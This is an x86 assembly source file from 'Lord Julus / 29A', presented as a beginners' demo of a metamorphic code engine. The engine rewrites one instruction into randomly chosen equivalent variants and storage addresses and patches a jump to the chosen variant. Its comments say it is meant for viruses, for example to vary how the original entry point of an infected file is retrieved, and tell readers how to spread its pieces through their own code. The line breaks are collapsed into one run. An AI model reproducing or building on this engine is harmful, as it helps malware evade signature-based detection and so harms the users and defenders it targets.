comment % Lord Julus' Metamorphism Demo This is the very first version of a metamorphism demo. This code is quite simple and very straightforward. It is merely a demo for the beginners in metamorphism. This engine can be used to metamorphize instructions like: mov [mem], ??? mov ???, [mem] It requires multiple places for the mem (the addresses), multiple instructions to obtain the action (the instructions). This demo will metamorphize this: mov [ebp+xxxxxxxx], eax into different instructions and then call it, provided that eax must not be preserved. Run it under a debugger and see how it works by single stepping through the Call instr1 instructions. If you understand the process, with very few modifications you can use this to also metamorphize instructions like: , , , , and so on... This engine can be used on multiple instructions. It will only metamorphize one at a time as EAX will hold the hunk number. A good way to use this is to metamorphize an instruction like this: mov eax, [ebp+OldAddressOfEntryPoint] so that the retrival of the old entrypoint is never the same. Anyhow, this requires you to manually fill the right variable. If you are ever to use this technique of metamorphization, be sure to spread inside your code the variables and addresses as explained below. This will make quite a difference... All the best, ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Lord Julus / 29A ³ ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÙ % .586p .model flat, stdcall jumps extrn ExitProcess: proc extrn GetTickCount: proc .data db 0 .code ; start: ; xor ebp, ebp ; assume virus model ;-) ; mov eax, 11111111h ; call instr1 ;do original instruction ; mov eax, 0 ;metamorphize instr 0 call LJ_Metamorphize ; mov eax, 22222222h ; call instr1 ;run it! ; mov eax, 0 ;metamorphize again call LJ_Metamorphize ; mov eax, 33333333h ; call instr1 ;run it! ; mov eax, 0 ;metamorphize again call LJ_Metamorphize ; mov eax, 44444444h ; call instr1 ;run it! ; push 0 ; call ExitProcess ; ; This is the main jump towards the matamorphized instruction ; - it can point to a series of jumps as presented in the Madness Jump Table ; idea (not implemented here) instr1: jmp var1_instr_1 db 10 dup (0) ; Here are the instruction sets that can be executed in order to do the ; action. These also should be spread into the code var1_instr_1: ;variant 1 mov [ebp+var1_1], eax ; nop ; ret ; ; var1_instr_2: ;variant 2 push eax ; pop [ebp+var1_1] ; nop ; ret ; ; var1_instr_3: ;variant 3 xchg [ebp+var1_1], eax ; nop ; ret ; ; These are the possible ways to keep the value. They should be spread inside ; the code as separated as possible var1_1 dd 0 ; address 1 var1_2 dd 0 ; address 2 var1_3 dd 0 ; address 3 ; - Metamorphizer LJ_Metamorphize: ; Entry: EAX = hunk number (starting with 0!) ; ; pusha ; ; call ChooseAddress ;choose address to use call ChooseInstruction ;choose instruction to use call FillPlace ;fill the address call FillJump ;fill the jump to it ; popa ; ret ; ; choosen_address dd 0 ;holds the address choosen_instruction dd 0 ;holds the instruction choosen_bit dd 0 ;the bit to address ; ChooseAddress: ; push eax ; lea esi, [ebp+AddressTable] ;point address tables mov ecx, eax ; or ecx, ecx ; jz found_addresses ; ; find_addresses: ; lodsd ; add esi, eax ; loop find_addresses ; ; found_addresses: ; lodsd ;how many? call brandom32 ;get a random one mov eax, [esi+eax*4] ; mov [ebp+choosen_address], eax ;save address pop eax ; ret ; ; ChooseInstruction: ; push eax ; lea esi, [ebp+InstructionTable] ;point instructions mov ecx, eax ; or ecx, ecx ; jz found_instructions ; ; find_instructions: ; lodsd ; add esi, eax ; loop find_instructions ; ; found_instructions: ; lodsd ;how many? call brandom32 ;get a random one mov ebx, [esi+eax*2*4] ; mov [ebp+choosen_instruction], ebx ;save it, and mov ebx, [esi+eax*2*4+4] ; mov [ebp+choosen_bit], ebx ;the bit pop eax ; ret ; ; FillPlace: ; push eax ; mov eax, [ebp+choosen_address] ;take the address mov ebx, [ebp+choosen_instruction] ;go to the instruction add ebx, ebp ; add ebx, [ebp+choosen_bit] ;to the right bit mov [ebx], eax ;and fill the address pop eax ; ret ; ; FillJump: ; push eax ; lea esi, [ebp+Jumps] ;locate the jump add esi, eax ; ; lodsd ; mov ebx, [ebp+choosen_instruction] ;get the offset of the sub ebx, eax ;instruction add eax, ebp ; sub ebx, 2 ;calculate jump length mov [eax+1], ebx ;create jump! ; pop eax ; ret ; ; ; AddressTable: ; Ahunk1: ; dd 3 ;length of hunk dd offset var1_1 ;addresses dd offset var1_2 ; dd offset var1_3 ; ; InstructionTable: ; Ihunk1: ; dd 3 ;length of hunk dd offset var1_instr_1 ;first instruction dd 2 ;at what bit offset? dd offset var1_instr_2 ; dd 3 ; dd offset var1_instr_3 ; dd 2 ; ; Jumps: ; Jhunk1: ; dd offset instr1 ;jump address ; ;---------------------- ; brandom32 proc ;this bounds eax push edx ;between 0 and eax-1 push ecx ;on random basis mov edx, 0 ; push eax ; call random32 ; pop ecx ; div ecx ; xchg eax, edx ; pop ecx ; pop edx ; ret ; brandom32 endp ; ; random32 proc ;this is a random nr push edx ;generator. It's a call GetTickCount ;modified version of rcl eax, 2 ;some random gen I found add eax, 12345678h ;someday and it had random_seed = dword ptr $-4 ;some flaws I fixed... adc eax, esp ; xor eax, ecx ; xor [ebp+random_seed], eax ; add eax, [esp-8] ; rcl eax, 1 ; pop edx ; ret ; random32 endp ; ; end start ; end ;